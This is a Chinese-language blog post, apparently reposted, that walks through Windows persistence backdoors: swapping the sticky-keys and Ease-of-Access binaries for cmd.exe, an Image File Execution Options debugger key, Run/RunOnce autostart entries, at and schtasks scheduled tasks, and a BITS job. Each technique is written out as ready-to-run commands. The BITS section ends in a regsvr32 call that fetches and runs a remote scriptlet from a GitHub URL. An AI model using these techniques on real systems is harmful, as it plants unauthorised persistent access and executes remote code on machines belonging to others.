Windows持续化后门

  • 时间:
  • 来源:互联网
  • 文章标签:

Windows权限维持

环境:Win10、Win7、Winxp虚拟机等

 

0x01 shift后门

windows中有一些辅助功能,能在用户未登录系统之前可以通过组合键来启动它,类似的辅助功能有:

C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键

C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键

通过替换成cmd.exe的方法达到快捷键启动cmd的目的

shift连按五次

 

 

0x02 映像劫持IFEO

跟shift后门差不多,只不过在低版本的windows中,可以简单的替换程序,而在高版本中替换的文件受到了系统的保护

在注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option下添加一个项sethc.exe,然后在sethc.exe这个项中添加debugger键,键值为恶意程序的路径

也可以直接

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setch.exe" /v debugger /t REG_SZ /d "c:\windows\system32\cmd.exe"

此时打开sethc.exe会打开cmd.exe

 

0x03 注册表自启动项

自启动项有两个键:Run和RunOnce

Run:该项下的键值即为开机启动项,每一次开机启动

RunOnce:键值只作用一次,执行完毕后就会自动删除

常见注册表启动项键的位置:

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run \HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

此时开机登录就会自启cmd

 

4、定时任务

windows下定时任务的命令有两个分别是:at和schtasks

at:在win7、08等高版本的windows中不能将任务在前台执行,只会后台运行

schtasks:将定时的任务在前台执行

at 15:39 calc.exe

时间尽量使用24小时制;在系统默认搜索路径(比如system32/)下不用加路径,否则必须加全路径

schtasks /create /tn test /tr calc.exe /sc minute /mo 1

tn:任务名字

tr:程序名字

sc minute /mo 1:每隔一分钟运行一次calc.exe

 

0x05 bits

Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。

Bistadmin可以指定下载成功之后要进行什么命令。

 

bitsadmin /create [type] DisplayName //创建一个任务

bitsadmin /cancel <Job> //删除一个任务

bitsadmin /list /allusers /verbose //列出所有任务

bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件

bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令

bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务

bitsadmin /cancel <Job> //删除某个任务

bitsadmin /reset /allusers //删除所有任务

bitsadmin /complete <Job> //完成某个任务

 

创建任务

bitsamdin /create backdoor

添加文档

bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe

设置下载成功后要执行的命令

bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"

执行任务

bitsadmin /Resume backdoor

本文链接http://www.taodudu.cc/news/show-647722.html